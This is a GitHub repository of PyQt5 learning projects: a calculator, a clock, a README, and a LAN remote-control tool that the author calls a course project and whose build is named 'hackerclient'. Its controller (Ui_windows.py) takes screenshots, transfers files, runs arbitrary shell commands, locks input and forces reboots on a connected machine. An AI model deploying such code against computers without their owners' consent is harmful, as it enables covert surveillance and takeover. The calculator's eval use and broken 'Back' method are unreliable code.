├── Calculator.py ├── Clock.py ├── README.md ├── control ├── Ui_windows.py ├── __init__.py ├── __pycache__ │ └── Ui_windows.cpython-36.pyc ├── _eric6project │ ├── 萤火clinet.e4q │ └── 萤火clinet.e6t ├── build │ └── hackerclient │ │ ├── base_library.zip │ │ ├── hackerclient.exe.manifest │ │ ├── out00-Analysis.toc │ │ ├── out00-EXE.toc │ │ ├── out00-PKG.pkg │ │ ├── out00-PKG.toc │ │ ├── out00-PYZ.pyz │ │ ├── out00-PYZ.toc │ │ ├── warnhackerclient.txt │ │ └── xref-hackerclient.html ├── dist │ └── hackerclient.exe ├── hackerclient.spec ├── picture │ ├── 2018-06-30_170734.png │ ├── 2018-06-30_171030.png │ ├── 2018-06-30_171056.png │ ├── 2018-06-30_171320.png │ └── title.ico ├── server.py ├── telnet │ ├── Debug │ │ ├── client.exe │ │ ├── client.ilk │ │ ├── client.obj │ │ ├── client.pch │ │ ├── client.pdb │ │ ├── vc60.idb │ │ └── vc60.pdb │ ├── client.cpp │ ├── client.dsp │ ├── client.dsw │ ├── client.ncb │ ├── client.opt │ ├── client.plg │ ├── jconfig.h │ ├── jmorecfg.h │ ├── jpeglib.h │ └── libjpeg │ │ ├── jconfig.h │ │ ├── jmorecfg.h │ │ ├── jpeg.lib │ │ └── jpeglib.h ├── windows.ui └── 萤火clinet.e4p ├── encrypt ├── .idea │ ├── RSAsoftware.iml │ ├── misc.xml │ ├── modules.xml │ └── workspace.xml ├── Value.py ├── __init__.py └── image │ └── 1.ico └── notepad ├── Ui_notepad.py ├── __init__.py ├── _eric6project ├── notepad.e4q └── notepad.e6t ├── image └── 1.ico ├── notepad.e4p └── notepad.ui /Calculator.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | ''' 3 | @Author: GETF 4 | @Email: GETF_own@163.com 5 | @DateTime: 2017-11-20 16:08:54 6 | @Description: Description 7 | ''' 8 | 9 | 10 | import sys 11 | from PyQt5 import QtWidgets,QtCore,QtGui 12 | from PyQt5.QtGui import QIcon 13 | import os 14 | 15 | class Example(QtWidgets.QWidget): 16 | def __init__(self): 17 | super(Example, self).__init__() 18 | self.initUI() 19 | 20 | def initUI(self): 21 | self.string = ''#作为容器去计算 22 | self.number = '0'#初始值 23 | self.setWindowTitle('简单计算器')#设置标题 24 | grid = QtWidgets.QGridLayout()#网格型布局 25 | self.display = QtWidgets.QLineEdit('0')#QLineEdit是一个单行文本编辑控件。 26 | ''' 27 | QLineEdit是一个单行文本编辑控件。 28 | 使用者可以通过很多函数,输入和编辑单行文本,比如撤销、恢复、剪切、粘贴以及拖放等。 29 | 通过改变QLineEdit的 echoMode() ,可以设置其属性,比如以密码的形式输入。 30 | 文本的长度可以由 maxLength() 限制,可以通过使用 validator() 或者 inputMask() 可以限制它只能输入数字。在对同一个QLineEdit的validator或者input mask进行转换时,最好先将它的validator或者input mask清除,以避免错误发生。 31 | 与QLineEdit相关的一个类是QTextEdit,它允许多行文字以及富文本编辑。 32 | 我们可以使用 setText() 或者 insert() 改变其中的文本,通过 text() 获得文本,通过 displayText() 获得显示的文本,使用 setSelection() 或者 selectAll() 选中文本,选中的文本可以通过cut()、copy()、paste()进行剪切、复制和粘贴,使用 setAlignment() 设置文本的位置。 33 | 文本改变时会发出 textChanged() 信号;如果不是由setText()造成文本的改变,那么会发出textEdit()信号;鼠标光标改变时会发出cursorPostionChanged()信号;当返回键或者回车键按下时,会发出returnPressed()信号。 34 | 当编辑结束,或者LineEdit失去了焦点,或者当返回/回车键按下时,editFinished()信号将会发出。 35 | ''' 36 | self.display.setFont(QtGui.QFont("Times", 20))#设置字体 37 | self.display.setReadOnly(True)#设置可编辑 38 | self.display.setAlignment(QtCore.Qt.AlignRight)#设置文本位置,这里设置为右边开始 39 | self.display.setMaxLength(15)#设置最大的长度 40 | grid.addWidget(self.display,0,0,1,4) 41 | ''' 42 | void QGridLayout::addWidget(QWidget * widget, int fromRow, int fromColumn, int rowSpan, int columnSpan, Qt::Alignment alignment = 0) 43 | 6个参数表示控件名,行,列,占用行数,占用列数,对齐方式 44 | ''' 45 | names = ['Clear', 'Back', '', 'Close', 46 | '7', '8', '9', '/', 47 | '4', '5', '6', '*', 48 | '1', '2', '3', '-', 49 | '0', '.', '=', '+'] 50 | pos = [(0, 0), (0, 1), (0, 2), (0, 3), 51 | (1, 0), (1, 1), (1, 2), (1, 3), 52 | (2, 0), (2, 1), (2, 2), (2, 3), 53 | (3, 0), (3, 1), (3, 2), (3, 3 ), 54 | (4, 0), (4, 1), (4, 2), (4, 3)] 55 | c = 0 56 | for name in names: 57 | button = QtWidgets.QPushButton(name) 58 | button.setFixedSize(QtCore.QSize(60,30)) 59 | button.clicked.connect(self.buttonClicked) # 给每个按钮设置信号/槽 60 | if c == 2: 61 | pass 62 | #grid.addWidget(QtWidgets.QLabel(''), 0, 2) #替换 第三个按钮 为 文本标签! 63 | else: 64 | grid.addWidget(button, pos[c][0]+1, pos[c][1]) 65 | c = c + 1 66 | self.setLayout(grid) 67 | 68 | 69 | 70 | 71 | def buttonClicked(self): 72 | #sender = self.sender(); # 确定信号发送者 73 | #self.display.setText(sender.text())#确定text为name 74 | text = self.sender().text() 75 | if text == "=": 76 | self.string = self.string+self.number 77 | self.number = str(eval(self.string)) # 简单计算,这里使用eval直接计算字符串 78 | self.string='' 79 | elif text in '+-*/': 80 | self.string = self.string+self.number+text 81 | self.number='0'#清空数字 82 | elif text == "Back": 83 | self.string = self.string.Substring(0,self.string.Length - 1)#删去最后一位 84 | elif text == "Clear": 85 | self.number = "0" 86 | elif text == "Close": 87 | self.close() 88 | else: 89 | if(self.number == '0'): 90 | self.number='' 91 | self.number = self.number+text 92 | 93 | self.display.setText(self.number) 94 | 95 | 96 | app = QtWidgets.QApplication(sys.argv) 97 | ex = Example() 98 | dir_path = os.path.abspath(os.path.dirname(__file__))+'\image\\1.ico' 99 | ex.setWindowIcon(QIcon(dir_path)) 100 | ex.show() 101 | sys.exit(app.exec_()) -------------------------------------------------------------------------------- /Clock.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | ''' 3 | @Author: GETF 4 | @Email: GETF_own@163.com 5 | @DateTime: 2017-11-09 15:12:14 6 | @Description: Description 7 | ''' 8 | 9 | 10 | 11 | import os 12 | from PyQt5.QtGui import QIcon 13 | import sys 14 | from PyQt5.QtWidgets import (QWidget, QLCDNumber, QSlider, 15 | QVBoxLayout, QApplication) 16 | from PyQt5.QtCore import QDateTime,QTimer 17 | 18 | class Example(QWidget): 19 | 20 | def __init__(self): 21 | super().__init__() 22 | 23 | self.initUI() 24 | 25 | 26 | 27 | def initUI(self): 28 | self.lcd = QLCDNumber(self)#设置数字类 29 | self.lcd.setDigitCount(25) 30 | self.lcd.setMode(QLCDNumber.Dec) 31 | self.lcd.setSegmentStyle(QLCDNumber.Flat) 32 | self.lcd.setStyleSheet("border: 1px solid green; color: green; background: silver;")#设置显示的颜色样式 33 | vbox = QVBoxLayout()#设置布局 34 | vbox.addWidget(self.lcd) 35 | self.setLayout(vbox) 36 | self.setGeometry(300, 300, 250, 150) 37 | self.setWindowTitle('hello') 38 | dir_path = os.path.abspath(os.path.dirname(__file__))+'\image\\1.ico' 39 | self.setWindowIcon(QIcon(dir_path)) 40 | self.show() 41 | self.timer = QTimer() 42 | self.timer.start(1) 43 | self.timer.timeout.connect(self.flush)#使用了计时器 44 | ''' 45 | 创建计时器->设置1ms刷新间隔->每次刷新执行flush函数 46 | ''' 47 | 48 | 49 | def flush(self): 50 | #获取系统当前时间 51 | dateTime=QDateTime.currentDateTime() 52 | #显示的内容 53 | self.lcd.display(dateTime.toString("yyyy-MM-dd HH:mm:ss.zzz")) 54 | 55 | 56 | if __name__ == '__main__': 57 | 58 | app = QApplication(sys.argv) 59 | ex = Example() 60 | sys.exit(app.exec_()) 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pyqt5_StudyNotes 2 | 3 | 欢迎关注我的csdn专栏[Eric6与pyqt5学习笔记](http://blog.csdn.net/column/details/18112.html),一起交流~
4 | 5 | ====================第一次更新=======================
6 | '''
7 | @Author: GETF
8 | @Email: GETF_own@163.com
9 | @DateTime: 2017-11-20 19:54:57
10 | ''' 11 | 1.更新了对应我博客两篇博文的小程序的源代码,备注及博客讲解已经很详细了,如果还有不明白的欢迎千万我的博客留言一起讨论
12 | [ 信号,事件和打包exe 小软件时钟](http://blog.csdn.net/wy_97/article/details/78500186)
13 | [ 实战1 简易计算器](http://blog.csdn.net/wy_97/article/details/78583683)
14 |
15 | =====================第二次更新=======================
16 | '''
17 | @Author: GETF
18 | @Email: GETF_own@163.com
19 | @DateTime: 2017-11-24 18:55:36
20 | '''
21 | 1.更新了对应我博客一篇博文的程序的源代码及一个自己录制的讲解小视频,备注及博客讲解已经很详细了,如果还有不明白的欢迎千万我的博客留言一起讨论
22 | [ 实战2 window伪文本编辑器](http://blog.csdn.net/wy_97/article/details/78620549)
23 | 24 | 25 | ====================第三次更新=========================
26 | '''
27 | @Author: GETF
28 | @Email: GETF_own@163.com
29 | @DateTime: 2018-03-15 19:54:57
30 | '''
31 | 更新了一个自己做的小软件,密码加密器,仅供参考思路,,2333,并不精美~
32 | [Eric6与pyqt5学习笔记 11【编写自己的密码加密管理器~ python3.5+PYQT5】 ](http://blog.csdn.net/wy_97/article/details/79434269)
33 | 34 | =====================第四次更新=========================
35 | '''
36 | @Author: GETF
37 | @Email: GETF_own@163.com
38 | @DateTime: 2018-07-13 19:54:57
39 | '''
40 | 更新了期末课设设计的一个局域网控制软件,很多功能并未完全实现,仅供参考,学习使用~
41 | [Eric6与pyqt5学习笔记13 【实战4 打造局域网远控软件】](https://blog.csdn.net/wy_97/article/details/81037868)
42 | -------------------------------------------------------------------------------- /control/Ui_windows.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | ''' 3 | @Author: GETF 4 | @Email: GETF_own@163.com 5 | @DateTime: 2018-07-01 14:56:04 6 | @Description: 心里苦 7 | ''' 8 | 9 | 10 | # Form implementation generated from reading ui file 'F:\GitHub\control\windows.ui' 11 | # 12 | # Created by: PyQt5 UI code generator 5.6 13 | # 14 | # WARNING! All changes made in this file will be lost! 15 | 16 | from PyQt5 import QtCore, QtGui, QtWidgets 17 | from PyQt5.QtWidgets import QMessageBox,QWidget,QTableWidgetItem,QInputDialog,QLineEdit,QFileDialog 18 | import os 19 | import socket 20 | import sys 21 | import time 22 | 23 | bind_ip = '0.0.0.0' 24 | bind_port = 8083 25 | server = None 26 | filepath = os.path.abspath(os.path.dirname(__file__)) 27 | 28 | # init the server 29 | def setup(): 30 | server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 31 | server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 32 | server.bind((bind_ip, bind_port)) 33 | server.listen(5) 34 | print('[+] Listening on %s:%d' % (bind_ip, bind_port)) 35 | return server 36 | 37 | 38 | # 处理返回文件相关 39 | def recvFile(client_socket,type): 40 | mark = True 41 | if (type == "jpg"): 42 | if (os.path.isfile(filepath+"/screenshot.jpg")): 43 | os.remove(filepath+"/screenshot.jpg") 44 | f = open(filepath+"/screenshot.jpg","wb") 45 | else: 46 | file = filepath+"/recvfile%s" % type 47 | f = open(file,"wb") 48 | 49 | while(1): 50 | data = client_socket.recv(1024) 51 | if (len(data)<8) and (data[:3].decode() == "EOF"): 52 | if data[3:5].decode() == "NN": 53 | # os.remove(file) 54 | mark = False 55 | else: 56 | mark = True 57 | 58 | break 59 | f.write(data) 60 | f.close() 61 | return mark 62 | 63 | # 发送本地文件 64 | def sendFile(client_socket, filename, destPath): 65 | try: 66 | f = open(filename,"rb") 67 | except: 68 | return False 69 | 70 | client_socket.send(destPath.encode()) 71 | 72 | time.sleep(1) 73 | while(1): 74 | data = f.read(512) 75 | if not data: 76 | break 77 | client_socket.sendall(data) 78 | f.close() 79 | time.sleep(10) 80 | client_socket.sendall("EOF".encode()) 81 | return True 82 | 83 | 84 | # 对控制机进行操控 85 | def handle_client(client_socket, cmd, param1, param2): 86 | if len(cmd) > 0: 87 | if cmd == "screenshot":#屏幕截图 88 | client_socket.send(cmd.encode()) 89 | p = recvFile(client_socket,"jpg") 90 | return p 91 | elif cmd == "mouse":#鼠标锁死 92 | client_socket.send(cmd.encode()) 93 | client_socket.send(param1.encode()) 94 | elif cmd == "download":#下载文件 95 | client_socket.send(cmd.encode()) 96 | client_socket.send(param1.encode()) 97 | p = recvFile(client_socket,param1) 98 | return p 99 | elif cmd == "reboot": 100 | client_socket.send(cmd.encode()) 101 | elif cmd == "shutdown": 102 | client_socket.send(cmd.encode()) 103 | elif cmd == "cancel": 104 | client_socket.send(cmd.encode()) 105 | elif cmd == "lock": 106 | client_socket.send(cmd.encode()) 107 | elif cmd == "blockinput": 108 | client_socket.send(cmd.encode()) 109 | elif cmd == "upload": 110 | client_socket.send(cmd.encode()) 111 | p = sendFile(client_socket, param1, param2) 112 | return p 113 | 114 | # elif cmd == "kill-client": 115 | # data = client_socket.recv(1024) 116 | # return data 117 | elif cmd == "@": 118 | cmd = cmd+param1 119 | client_socket.send(cmd.encode()) 120 | elif cmd == "$": 121 | cmd = cmd+param1 122 | client_socket.send(cmd.encode()) 123 | data = client_socket.recv(5120) 124 | return data.decode('gbk') 125 | else: 126 | return None 127 | 128 | 129 | 130 | # 定义UI 131 | class Ui_MainWindow(QWidget): 132 | def setupUi(self, MainWindow): 133 | self.id = 1 134 | MainWindow.setObjectName("MainWindow") 135 | MainWindow.resize(800, 600) 136 | MainWindow.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) 137 | MainWindow.setFixedSize(MainWindow.width(), MainWindow.height()) 138 | icon = QtGui.QIcon() 139 | icon.addPixmap(QtGui.QPixmap(filepath+"/picture/title.ico"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 140 | MainWindow.setWindowIcon(icon) 141 | self.menuBar = QtWidgets.QMenuBar(MainWindow) 142 | self.menuBar.setGeometry(QtCore.QRect(0, 0, 606, 26)) 143 | self.menuBar.setObjectName("menuBar") 144 | self.centralWidget = QtWidgets.QWidget(MainWindow) 145 | self.centralWidget.setObjectName("centralWidget") 146 | self.pushButton = QtWidgets.QPushButton(self.centralWidget) 147 | self.pushButton.setGeometry(QtCore.QRect(0, 0, 221, 151)) 148 | icon1 = QtGui.QIcon() 149 | icon1.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_170734.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 150 | self.pushButton.setIcon(icon1) 151 | self.pushButton.setIconSize(QtCore.QSize(70, 70)) 152 | self.pushButton.setObjectName("pushButton") 153 | self.pushButton.clicked.connect(self.screenshot) 154 | self.pushButton_2 = QtWidgets.QPushButton(self.centralWidget) 155 | self.pushButton_2.setGeometry(QtCore.QRect(220, 0, 201, 151)) 156 | icon2 = QtGui.QIcon() 157 | icon2.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_171056.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 158 | self.pushButton_2.setIcon(icon2) 159 | self.pushButton_2.setIconSize(QtCore.QSize(90, 90)) 160 | self.pushButton_2.setObjectName("pushButton_2") 161 | self.pushButton_2.clicked.connect(self.mousecontrl) 162 | self.pushButton_3 = QtWidgets.QPushButton(self.centralWidget) 163 | self.pushButton_3.setGeometry(QtCore.QRect(420, 0, 201, 151)) 164 | icon3 = QtGui.QIcon() 165 | icon3.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_171030.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 166 | self.pushButton_3.setIcon(icon3) 167 | self.pushButton_3.setIconSize(QtCore.QSize(80, 80)) 168 | self.pushButton_3.setObjectName("pushButton_3") 169 | self.pushButton_3.clicked.connect(self.downloadfile) 170 | self.pushButton_4 = QtWidgets.QPushButton(self.centralWidget) 171 | self.pushButton_4.setGeometry(QtCore.QRect(612, 0, 191, 151)) 172 | icon4 = QtGui.QIcon() 173 | icon4.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+"/picture/2018-06-30_171320.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 174 | self.pushButton_4.setIcon(icon4) 175 | self.pushButton_4.setIconSize(QtCore.QSize(70, 70)) 176 | self.pushButton_4.setObjectName("pushButton_4") 177 | self.pushButton_4.clicked.connect(self.control_cmd) 178 | self.tableWidget = QtWidgets.QTableWidget(self.centralWidget) 179 | self.tableWidget.horizontalHeader().setSectionsClickable(False) #可以禁止点击表头的列 180 | self.tableWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)#设置只可以单选 181 | self.tableWidget.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows)#设置 不可选择单个单元格,只可选择一行。 182 | self.tableWidget.setGeometry(QtCore.QRect(0, 150, 801, 451)) 183 | self.tableWidget.setObjectName("tableWidget") 184 | self.tableWidget.setColumnCount(6) 185 | item = QtWidgets.QTableWidgetItem() 186 | self.tableWidget.setHorizontalHeaderItem(0, item) 187 | item = QtWidgets.QTableWidgetItem() 188 | self.tableWidget.setHorizontalHeaderItem(1, item) 189 | item = QtWidgets.QTableWidgetItem() 190 | self.tableWidget.setHorizontalHeaderItem(2, item) 191 | item = QtWidgets.QTableWidgetItem() 192 | self.tableWidget.setHorizontalHeaderItem(3, item) 193 | item = QtWidgets.QTableWidgetItem() 194 | self.tableWidget.setHorizontalHeaderItem(4, item) 195 | item = QtWidgets.QTableWidgetItem() 196 | self.tableWidget.setHorizontalHeaderItem(5, item) 197 | MainWindow.setCentralWidget(self.centralWidget) 198 | self.retranslateUi(MainWindow) 199 | self.tableWidget.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) 200 | self.tableWidget.customContextMenuRequested['QPoint'].connect(self.rightMenuShow) 201 | QtCore.QMetaObject.connectSlotsByName(MainWindow) 202 | server = setup() 203 | self.client, addr = server.accept() 204 | data = self.client.recv(1024).split("#".encode()) 205 | self.addClientToTable(str(data[1].decode()), addr[0], str(addr[1]), str(data[0].decode()), "凉凉") 206 | 207 | 208 | '''打开命令行''' 209 | def control_cmd(self): 210 | value, ok = QInputDialog.getText(self, "命令执行", "这是提示信息\n\n命令格式为cmd:", QLineEdit.Normal, "ipconfig") 211 | if value: 212 | data = handle_client(self.client, "$", value, "1") 213 | QMessageBox.about(self,"执行结果", data) 214 | else: 215 | pass 216 | 217 | 218 | '''上传文件''' 219 | def downloadfile(self): 220 | value, ok = QInputDialog.getText(self, "文件控制", "这是提示信息\n\n命令格式为:dir/xx.txt", QLineEdit.Normal, "url.txt") 221 | if value: 222 | p = False 223 | p = handle_client(self.client, "download", value, "1") 224 | if p: 225 | QMessageBox.about(self,"执行结果", "下载完成") 226 | else: 227 | QMessageBox.about(self,"执行结果", "下载失败") 228 | else: 229 | pass 230 | 231 | '''上传文件''' 232 | def uploadfile(self): 233 | file_, filetype = QFileDialog.getOpenFileName(self, "选取需要上传文件", "C:/", "All Files (*);;Text Files (*.txt)") 234 | if file_: 235 | p = False 236 | p = handle_client(self.client, "upload", file_ , "D:/1.txt") 237 | if p: 238 | QMessageBox.about(self,"执行结果", "上传完成") 239 | else: 240 | QMessageBox.about(self,"执行结果", "上传失败") 241 | else: 242 | pass 243 | 244 | '''鼠标锁定''' 245 | def mousecontrl(self): 246 | value, ok = QInputDialog.getText(self, "鼠标锁死", "这是提示信息\n\n命令格式为 time单位秒", QLineEdit.Normal, "10") 247 | if value: 248 | handle_client(self.client, "mouse", value, "1") 249 | QMessageBox.about(self,"执行结果", "成功锁死") 250 | else: 251 | pass 252 | 253 | 254 | '''屏幕截图''' 255 | def screenshot(self): 256 | p = False 257 | p = handle_client(self.client, "screenshot", "1", "2") 258 | if p: 259 | QMessageBox.about(self,"执行结果", "监控完成") 260 | else: 261 | QMessageBox.about(self,"执行结果", "监控失败") 262 | 263 | '''发送消息''' 264 | def senddata(self): 265 | value, ok = QInputDialog.getText(self, "发送消息", "这是提示信息\n\n命令格式为message:", QLineEdit.Normal, "hello world") 266 | if value: 267 | handle_client(self.client, "@", value ,"1") 268 | QMessageBox.about(self,"执行结果", "发送成功") 269 | else: 270 | pass 271 | 272 | '''强制重启''' 273 | def controlreboot(self): 274 | handle_client(self.client, "reboot", "1", "2") 275 | QMessageBox.about(self,"执行结果", "执行成功,将于10秒后重启") 276 | 277 | 278 | '''强制关机''' 279 | def controlshutdown(self): 280 | handle_client(self.client, "shutdown", "1", "2") 281 | QMessageBox.about(self,"执行结果", "执行成功,将于10秒后关机") 282 | 283 | '''取消关机重启''' 284 | def controlcancel(self): 285 | handle_client(self.client, "cancel", "1", "2") 286 | QMessageBox.about(self,"执行结果", "执行成功,已经取消") 287 | 288 | '''强制锁屏''' 289 | def controllock(self): 290 | handle_client(self.client, "lock", "1", "2") 291 | QMessageBox.about(self,"执行结果", "执行成功") 292 | 293 | '''锁住键盘''' 294 | def controllockinput(self): 295 | handle_client(self.client, "blockinput", "1", "2") 296 | QMessageBox.about(self,"执行结果", "执行成功") 297 | 298 | 299 | '''增加一行''' 300 | def addClientToTable(self,name,ip,port,str1,str2): 301 | row = self.tableWidget.rowCount() 302 | self.tableWidget.setRowCount(row+1) 303 | num = str(self.id) 304 | self.id += 1 305 | self.tableWidget.setItem(row, 0, QTableWidgetItem(num)) 306 | self.tableWidget.setItem(row, 1, QTableWidgetItem(name)) 307 | self.tableWidget.setItem(row, 2, QTableWidgetItem(ip)) 308 | self.tableWidget.setItem(row, 3, QTableWidgetItem(port)) 309 | self.tableWidget.setItem(row, 4, QTableWidgetItem(str1)) 310 | self.tableWidget.setItem(row, 5, QTableWidgetItem(str2)) 311 | 312 | '''减少一行''' 313 | def removeClientFromTable(self,num): 314 | self.tableWidget.removeRow(num) 315 | 316 | 317 | 318 | 319 | '''鼠标右键事件''' 320 | def rightMenuShow(self): 321 | rightMenu = QtWidgets.QMenu(self.menuBar) 322 | 323 | self.actionreboot = QtWidgets.QAction(MainWindow) 324 | self.actionreboot.setObjectName("actionreboot") 325 | self.actionreboot.setText(QtCore.QCoreApplication.translate("MainWindow", "重新开机")) 326 | rightMenu.addAction(self.actionreboot) 327 | self.actionreboot.triggered.connect(self.controlreboot) 328 | 329 | self.actionshutdown = QtWidgets.QAction(MainWindow) 330 | self.actionshutdown.setObjectName("actionshutdown") 331 | self.actionshutdown.setText(QtCore.QCoreApplication.translate("MainWindow", "强制下线")) 332 | rightMenu.addAction(self.actionshutdown) 333 | self.actionshutdown.triggered.connect(self.controlshutdown) 334 | 335 | self.actioncancel = QtWidgets.QAction(MainWindow) 336 | self.actioncancel.setObjectName("actioncancel") 337 | self.actioncancel.setText(QtCore.QCoreApplication.translate("MainWindow", "取消下线与重启")) 338 | rightMenu.addAction(self.actioncancel) 339 | self.actioncancel.triggered.connect(self.controlcancel) 340 | 341 | self.actionsendmessage = QtWidgets.QAction(MainWindow) 342 | self.actionsendmessage.setObjectName("actionsendmessage") 343 | self.actionsendmessage.setText(QtCore.QCoreApplication.translate("MainWindow", "发送消息")) 344 | rightMenu.addAction(self.actionsendmessage) 345 | self.actionsendmessage.triggered.connect(self.senddata) 346 | 347 | self.actionlock = QtWidgets.QAction(MainWindow) 348 | self.actionlock.setObjectName("actionlock") 349 | self.actionlock.setText(QtCore.QCoreApplication.translate("MainWindow", "强制锁屏")) 350 | rightMenu.addAction(self.actionlock) 351 | self.actionlock.triggered.connect(self.controllock) 352 | 353 | self.actionlockinput = QtWidgets.QAction(MainWindow) 354 | self.actionlockinput.setObjectName("actionlockinput") 355 | self.actionlockinput.setText(QtCore.QCoreApplication.translate("MainWindow", "锁死键盘")) 356 | rightMenu.addAction(self.actionlockinput) 357 | self.actionlockinput.triggered.connect(self.controllockinput) 358 | 359 | self.actionuploadfile = QtWidgets.QAction(MainWindow) 360 | self.actionuploadfile.setObjectName("actionuploadfile") 361 | self.actionuploadfile.setText(QtCore.QCoreApplication.translate("MainWindow", "上传文件")) 362 | rightMenu.addAction(self.actionuploadfile) 363 | self.actionuploadfile.triggered.connect(self.uploadfile) 364 | 365 | rightMenu.exec_(QtGui.QCursor.pos()) 366 | 367 | def retranslateUi(self, MainWindow): 368 | _translate = QtCore.QCoreApplication.translate 369 | MainWindow.setWindowTitle(_translate("MainWindow", "萤火client")) 370 | self.pushButton.setText(_translate("MainWindow", "屏幕监控")) 371 | self.pushButton_2.setText(_translate("MainWindow", "锁死鼠标")) 372 | self.pushButton_3.setText(_translate("MainWindow", "文件下载")) 373 | self.pushButton_4.setText(_translate("MainWindow", "命令执行")) 374 | item = self.tableWidget.horizontalHeaderItem(0) 375 | item.setText(_translate("MainWindow", "编号")) 376 | item = self.tableWidget.horizontalHeaderItem(1) 377 | item.setText(_translate("MainWindow", "用户名")) 378 | item = self.tableWidget.horizontalHeaderItem(2) 379 | item.setText(_translate("MainWindow", "ip地址")) 380 | item = self.tableWidget.horizontalHeaderItem(3) 381 | item.setText(_translate("MainWindow", "端口")) 382 | item = self.tableWidget.horizontalHeaderItem(4) 383 | item.setText(_translate("MainWindow", "电脑名")) 384 | item = self.tableWidget.horizontalHeaderItem(5) 385 | item.setText(_translate("MainWindow", "测试信息2")) 386 | __sortingEnabled = self.tableWidget.isSortingEnabled() 387 | self.tableWidget.setSortingEnabled(False) 388 | self.tableWidget.setSortingEnabled(__sortingEnabled) 389 | 390 | 391 | if __name__ == "__main__": 392 | app = QtWidgets.QApplication(sys.argv) 393 | MainWindow = QtWidgets.QMainWindow() 394 | ui = Ui_MainWindow() 395 | ui.setupUi(MainWindow) 396 | MainWindow.show() 397 | sys.exit(app.exec_()) 398 | 399 | -------------------------------------------------------------------------------- /control/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/__init__.py -------------------------------------------------------------------------------- /control/__pycache__/Ui_windows.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/__pycache__/Ui_windows.cpython-36.pyc -------------------------------------------------------------------------------- /control/_eric6project/萤火clinet.e4q: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /control/_eric6project/萤火clinet.e6t: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /control/build/hackerclient/base_library.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/build/hackerclient/base_library.zip -------------------------------------------------------------------------------- /control/build/hackerclient/hackerclient.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /control/build/hackerclient/out00-Analysis.toc: -------------------------------------------------------------------------------- 1 | (['F:\\GitHub\\control\\Ui_windows.py'], 2 | ['F:\\GitHub', 'F:\\GitHub\\control'], 3 | ['codecs'], 4 | [], 5 | [], 6 | [], 7 | False, 8 | False, 9 | '3.6.5 | packaged by conda-forge | (default, Apr 6 2018, 16:13:55) [MSC ' 10 | 'v.1900 64 bit (AMD64)]', 11 | [('pyi_rth_qt5', 12 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\rthooks\\pyi_rth_qt5.py', 13 | 'PYSOURCE'), 14 | ('Ui_windows', 'F:\\GitHub\\control\\Ui_windows.py', 'PYSOURCE')], 15 | [('ntpath', 'E:\\Anaconda3\\lib\\ntpath.py', 'PYMODULE'), 16 | ('_strptime', 'E:\\Anaconda3\\lib\\_strptime.py', 'PYMODULE'), 17 | ('datetime', 'E:\\Anaconda3\\lib\\datetime.py', 'PYMODULE'), 18 | ('stringprep', 'E:\\Anaconda3\\lib\\stringprep.py', 'PYMODULE'), 19 | ('__future__', 'E:\\Anaconda3\\lib\\__future__.py', 'PYMODULE'), 20 | ('argparse', 'E:\\Anaconda3\\lib\\argparse.py', 'PYMODULE'), 21 | ('difflib', 'E:\\Anaconda3\\lib\\difflib.py', 'PYMODULE'), 22 | ('ast', 'E:\\Anaconda3\\lib\\ast.py', 'PYMODULE'), 23 | ('inspect', 'E:\\Anaconda3\\lib\\inspect.py', 'PYMODULE'), 24 | ('cmd', 'E:\\Anaconda3\\lib\\cmd.py', 'PYMODULE'), 25 | ('bdb', 'E:\\Anaconda3\\lib\\bdb.py', 'PYMODULE'), 26 | ('opcode', 'E:\\Anaconda3\\lib\\opcode.py', 'PYMODULE'), 27 | ('dis', 'E:\\Anaconda3\\lib\\dis.py', 'PYMODULE'), 28 | ('codeop', 'E:\\Anaconda3\\lib\\codeop.py', 'PYMODULE'), 29 | ('code', 'E:\\Anaconda3\\lib\\code.py', 'PYMODULE'), 30 | ('glob', 'E:\\Anaconda3\\lib\\glob.py', 'PYMODULE'), 31 | ('pyreadline.rlmain', 32 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\rlmain.py', 33 | 'PYMODULE'), 34 | ('pyreadline.clipboard.ironpython_clipboard', 35 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\ironpython_clipboard.py', 36 | 'PYMODULE'), 37 | ('pyreadline.clipboard.no_clipboard', 38 | 